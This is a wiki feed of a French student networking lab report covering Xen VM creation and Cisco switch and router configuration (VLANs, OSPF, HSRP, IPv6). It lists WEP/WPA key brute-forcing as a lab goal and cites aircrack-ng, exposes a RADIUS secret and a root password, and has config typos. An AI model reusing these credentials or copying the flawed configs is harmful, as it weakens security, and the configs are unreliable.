       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/raid_logiciel&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51608</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51608"/>
				<updated>2019-12-07T13:47:43Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Sources */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
